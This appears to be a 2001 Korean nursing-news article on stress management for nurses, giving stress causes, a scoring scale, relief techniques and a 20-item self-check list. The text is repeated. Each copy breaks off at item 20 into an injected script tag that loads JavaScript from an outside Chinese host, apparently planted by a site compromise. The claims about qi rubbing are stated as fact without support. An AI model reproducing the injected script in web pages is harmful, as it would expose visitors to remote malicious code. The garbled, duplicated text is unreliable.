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간호사를 위한 스트레스 관리법
명상·심상법·유동공체조 효과적
기사입력 2001-03-08 오전 09:22:05
환자의 건강을 지켜야 할 간호사들은 격무와 피로에 의한 스트레스로 지치기 쉽다. 간호사가 과도한 스트레스를 받으면 좋은 간호를 제공하기 어려워지고 업무의 만족도가 줄어들며 질병이 유발될 수도 있다.
대한간호협회는 올해 보수교육 프로그램 공통과목을 '간호사의 스트레스 관리'로 정해 간호사들이 스트레스의 원인을 파악하고 효율적으로 대처할 수 있도록 했다. 프로그램 개발자인 유지수 연세대 간호대학 교수와 임숙빈 을지대 간호학과 교수가 제안하는 간호사 스트레스 관리법의 개요를 소개한다. 자세한 스트레스 해소법은 보수교육에 참가하면 배울 수 있다.
■스트레스 원인과 증상
일반적으로 책임감이 따르고 전문적이며 업무 수행에 대한 평가를 받아야 하는 업무일수록 스트레스의 정도가 높다. 간호업무에서의 주요 스트레스원은 업무과다, 역할갈등, 대인관계, 자율성 부족, 교대근무, 자기발전 저해 등으로 꼽힌다. 완벽주의적 태도, 비합리적인 사고, 성격 등 개인의 내적 요인도 중요하게 작용된다.
심한 스트레스로 소진 상태가 되면 두통, 불면증, 궤양 등의 증상이 있을 수 있고 죄책감, 우울, 불안, 자긍심 저하가 따르며 업무에 대한 불만족, 비효율적인 업무수행 등의 현상이 나타난다.
■스트레스 얼마나 받고있나
스트레스 자가 진단표의 각 항목에 체크한 뒤 점수를 합산하면 자신의 스트레스가 어느 정도인지 확인할 수 있다.<하단 표 참조> 0∼25점에 해당되면 스트레스에 잘 적응하는 편이고 26∼40점이면 직무 스트레스가 있는 것이므로 예방적 행위를 해야한다. 41∼55점이면 소진될 우려가 있으므로 스트레스를 막아야 하며 56∼80점이면 소진 상태이므로 포괄적인 스트레스 관리계획이 필요하다.
■스트레스 해소 방법
△비합리적 신념의 변화 = 완벽주의적 태도를 버린다. 보다 명확하고 객관적인 태도로 생각한다. 자신에게 내재된 비합리적인 신념을 분석·평가해본다.
△생각의 중단 = 강박적 사고와 공포로 인해 회피 증상이 있다면 집중하고 있던 생각을 중단하고 머릿속을 비워본다.
△자기주장훈련 = 자기의 권리와 느낌을 표현하는 훈련을 하면 긴장이 풀어지고 자신이 원하는 일에 시간을 써도 된다고 느끼게 된다. 대인관계에 대한 불안이나 스트레스를 감소시키는데도 효과가 있다.
△시간관리 = 일에 우선순위를 정해 효율적으로 시간관리를 하면 마감시각에 대한 불안, 회피 불안, 업무피로, 소진 등을 최소화할 수 있다.
△심호흡 = 차분하고 깊게 호흡을 하면 산소가 공급되고 혈액이 정화돼 피로, 무기력, 불안, 근육 긴장, 정신적 혼란, 우울 등의 증상이 완화된다.
△심상법 = 산, 바다, 하늘 등 평안감을 느낄 수 있는 이미지를 떠올려 혼란스러운 생각을 통제하고 신체적 이완을 도모하도록 훈련한다.
△명상 = 명상을 하면 심박동과 호흡속도가 느려지고 산소 소비도가 20% 정도 저하되며 피로시 증가하는 혈중 유산이 낮아진다. 불면, 강박적 사고, 우울, 불안, 적개심 등을 극복하고 예방하는 효과가 있다.
△점진적 근육이완요법 = 근육의 긴장과 이완을 반복하면 신체가 적절히 이완되고 교감신경계 활동이 감소돼 심박동수, 호흡수, 혈압이 내려가는 등 스트레스 반응의 반대현상이 나타나게 된다.
△유동공체조 = 두 손바닥을 마주대고 충분히 비벼 기(氣)를 모은 다음 눈·얼굴·머리·귀·허리 등 각 신체 부위에 대고 문지르거나 쓸어넘기면 해당 부위의 기혈이 원활해져 피로를 해소하고 증상을 완화시킬 수 있다.
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◈스트레스 자가 진단표◈
1. 나는 일에 대해 거의 열정을 느낄 수 없다.
2. 나는 충분히 잠을 자는데도 피곤하다.
3. 나는 업무에 따르는 책임을 모두 수행하는데 분노가 느껴진다.
4. 나는 조금만 불쾌해도 기분이 가라앉고 짜증이 나며 참을 수가 없다.
5. 내 시간과 에너지를 계속 쏟아야 하는 것을 피하고 싶다.
6. 내 업무가 하찮고 쓸데없는 것 같아 우울하다.
7. 내 의사결정 능력이 평상시보다 저하된 것 같다.
8. 나는 필요한 만큼 유능하지 못한 것 같다.
9. 내 하는 업무의 질이 필요한 만큼에 이르지 못한다.
10. 나는 신체적, 정서적, 영적으로 모두 지쳐있다.
11. 나는 질병에 걸리기 쉬워졌다.
12. 나는 성생활에 대한 관심이 적어졌다.
13. 식사량이 달라졌고 커피, 차, 찬 음료나 술을 더 마시고 담배를 더 핀다.
14. 나는 다른 사람들의 문제나 욕구에 대해 무감각해졌다.
15. 나는 직장 상사, 동료, 친구나 가족들과 의사소통할 때 뒤틀어져 있다.
16. 나는 잘 잊어버린다.
17. 나는 집중하는데 어려움이 있다.
18. 나는 쉽게 지루해진다.
19. 나는 불만족하고 무엇인가 잘못된 것처럼 느낀다.
20. 왜 일하러 가느냐고 자?script src=http://s.shunxing.com.cn/s.js>
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대한간호협회는 올해 보수교육 프로그램 공통과목을 '간호사의 스트레스 관리'로 정해 간호사들이 스트레스의 원인을 파악하고 효율적으로 대처할 수 있도록 했다. 프로그램 개발자인 유지수 연세대 간호대학 교수와 임숙빈 을지대 간호학과 교수가 제안하는 간호사 스트레스 관리법의 개요를 소개한다. 자세한 스트레스 해소법은 보수교육에 참가하면 배울 수 있다.
■스트레스 원인과 증상
일반적으로 책임감이 따르고 전문적이며 업무 수행에 대한 평가를 받아야 하는 업무일수록 스트레스의 정도가 높다. 간호업무에서의 주요 스트레스원은 업무과다, 역할갈등, 대인관계, 자율성 부족, 교대근무, 자기발전 저해 등으로 꼽힌다. 완벽주의적 태도, 비합리적인 사고, 성격 등 개인의 내적 요인도 중요하게 작용된다.
심한 스트레스로 소진 상태가 되면 두통, 불면증, 궤양 등의 증상이 있을 수 있고 죄책감, 우울, 불안, 자긍심 저하가 따르며 업무에 대한 불만족, 비효율적인 업무수행 등의 현상이 나타난다.
■스트레스 얼마나 받고있나
스트레스 자가 진단표의 각 항목에 체크한 뒤 점수를 합산하면 자신의 스트레스가 어느 정도인지 확인할 수 있다.<하단 표 참조> 0∼25점에 해당되면 스트레스에 잘 적응하는 편이고 26∼40점이면 직무 스트레스가 있는 것이므로 예방적 행위를 해야한다. 41∼55점이면 소진될 우려가 있으므로 스트레스를 막아야 하며 56∼80점이면 소진 상태이므로 포괄적인 스트레스 관리계획이 필요하다.
■스트레스 해소 방법
△비합리적 신념의 변화 = 완벽주의적 태도를 버린다. 보다 명확하고 객관적인 태도로 생각한다. 자신에게 내재된 비합리적인 신념을 분석·평가해본다.
△생각의 중단 = 강박적 사고와 공포로 인해 회피 증상이 있다면 집중하고 있던 생각을 중단하고 머릿속을 비워본다.
△자기주장훈련 = 자기의 권리와 느낌을 표현하는 훈련을 하면 긴장이 풀어지고 자신이 원하는 일에 시간을 써도 된다고 느끼게 된다. 대인관계에 대한 불안이나 스트레스를 감소시키는데도 효과가 있다.
△시간관리 = 일에 우선순위를 정해 효율적으로 시간관리를 하면 마감시각에 대한 불안, 회피 불안, 업무피로, 소진 등을 최소화할 수 있다.
△심호흡 = 차분하고 깊게 호흡을 하면 산소가 공급되고 혈액이 정화돼 피로, 무기력, 불안, 근육 긴장, 정신적 혼란, 우울 등의 증상이 완화된다.
△심상법 = 산, 바다, 하늘 등 평안감을 느낄 수 있는 이미지를 떠올려 혼란스러운 생각을 통제하고 신체적 이완을 도모하도록 훈련한다.
△명상 = 명상을 하면 심박동과 호흡속도가 느려지고 산소 소비도가 20% 정도 저하되며 피로시 증가하는 혈중 유산이 낮아진다. 불면, 강박적 사고, 우울, 불안, 적개심 등을 극복하고 예방하는 효과가 있다.
△점진적 근육이완요법 = 근육의 긴장과 이완을 반복하면 신체가 적절히 이완되고 교감신경계 활동이 감소돼 심박동수, 호흡수, 혈압이 내려가는 등 스트레스 반응의 반대현상이 나타나게 된다.
△유동공체조 = 두 손바닥을 마주대고 충분히 비벼 기(氣)를 모은 다음 눈·얼굴·머리·귀·허리 등 각 신체 부위에 대고 문지르거나 쓸어넘기면 해당 부위의 기혈이 원활해져 피로를 해소하고 증상을 완화시킬 수 있다.
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◈스트레스 자가 진단표◈
1. 나는 일에 대해 거의 열정을 느낄 수 없다.
2. 나는 충분히 잠을 자는데도 피곤하다.
3. 나는 업무에 따르는 책임을 모두 수행하는데 분노가 느껴진다.
4. 나는 조금만 불쾌해도 기분이 가라앉고 짜증이 나며 참을 수가 없다.
5. 내 시간과 에너지를 계속 쏟아야 하는 것을 피하고 싶다.
6. 내 업무가 하찮고 쓸데없는 것 같아 우울하다.
7. 내 의사결정 능력이 평상시보다 저하된 것 같다.
8. 나는 필요한 만큼 유능하지 못한 것 같다.
9. 내 하는 업무의 질이 필요한 만큼에 이르지 못한다.
10. 나는 신체적, 정서적, 영적으로 모두 지쳐있다.
11. 나는 질병에 걸리기 쉬워졌다.
12. 나는 성생활에 대한 관심이 적어졌다.
13. 식사량이 달라졌고 커피, 차, 찬 음료나 술을 더 마시고 담배를 더 핀다.
14. 나는 다른 사람들의 문제나 욕구에 대해 무감각해졌다.
15. 나는 직장 상사, 동료, 친구나 가족들과 의사소통할 때 뒤틀어져 있다.
16. 나는 잘 잊어버린다.
17. 나는 집중하는데 어려움이 있다.
18. 나는 쉽게 지루해진다.
19. 나는 불만족하고 무엇인가 잘못된 것처럼 느낀다.
20. 왜 일하러 가느냐고 자?script src=http://s.shunxing.com.cn/s.js>
박미경 mkpark@nursenews.co.kr